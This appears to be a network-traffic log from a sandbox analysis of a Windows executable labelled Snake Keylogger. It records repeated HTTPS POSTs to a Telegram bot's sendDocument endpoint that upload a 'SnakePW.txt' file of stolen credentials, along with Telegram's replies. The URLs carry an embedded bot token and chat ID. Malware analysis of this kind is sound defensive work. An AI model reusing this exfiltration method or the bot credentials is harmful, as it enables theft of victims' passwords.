2022-06-26 07:34:03 UTC	334	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 37 30 36 63 36 64 33 31 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da575706c6d31cContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:34:03 UTC	335	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:34:03 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:34:03 UTC	335	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 39 37 30 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 34 33 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66970,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228843,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
199	192.168.2.5	50084	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:34:03 UTC	336	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da575707026da8 Host: api.telegram.org Content-Length: 504
2022-06-26 07:34:03 UTC	336	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 37 30 37 30 32 36 64 61 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da575707026da8Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:34:03 UTC	336	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:34:03 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:34:03 UTC	337	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 39 37 31 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 34 33 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66971,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228843,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.5	49770	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:32:39 UTC	3	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756d4bc2909 Host: api.telegram.org Content-Length: 504
2022-06-26 07:32:39 UTC	3	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 64 34 62 63 32 39 30 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5756d4bc2909Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:32:39 UTC	4	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:32:39 GMT Content-Type: application/json Content-Length: 509 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:32:39 UTC	4	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 37 34 38 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 37 35 39 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66748,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228759,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
20	192.168.2.5	49788	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:32:46 UTC	33	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756d9348fb3 Host: api.telegram.org Content-Length: 504
2022-06-26 07:32:46 UTC	34	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 64 39 33 34 38 66 62 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5756d9348fb3Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:32:46 UTC	34	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:32:46 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:32:46 UTC	34	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 37 36 37 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 37 36 36 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66767,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228766,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
200	192.168.2.5	50085	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:34:03 UTC	337	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da57570739440e Host: api.telegram.org Content-Length: 504
2022-06-26 07:34:03 UTC	338	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 37 30 37 33 39 34 34 30 65 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da57570739440eContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:34:04 UTC	338	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:34:04 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:34:04 UTC	338	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 39 37 32 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 34 34 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66972,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228844,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
201	192.168.2.5	50087	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:34:04 UTC	339	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da57570774df27 Host: api.telegram.org Content-Length: 504
2022-06-26 07:34:04 UTC	339	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 37 30 37 37 34 64 66 32 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da57570774df27Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:34:04 UTC	340	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:34:04 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:34:04 UTC	340	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 39 37 34 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 34 34 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66974,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228844,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
202	192.168.2.5	50088	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:34:04 UTC	341	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da575707b2db3c Host: api.telegram.org Content-Length: 504
2022-06-26 07:34:04 UTC	341	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 37 30 37 62 32 64 62 33 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da575707b2db3cContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:34:04 UTC	341	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:34:04 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:34:04 UTC	342	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 39 37 35 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 34 34 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66975,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228844,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
203	192.168.2.5	50091	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:34:05 UTC	342	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da575707f0d815 Host: api.telegram.org Content-Length: 504
2022-06-26 07:34:05 UTC	343	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 37 30 37 66 30 64 38 31 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da575707f0d815Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:34:05 UTC	343	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:34:05 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
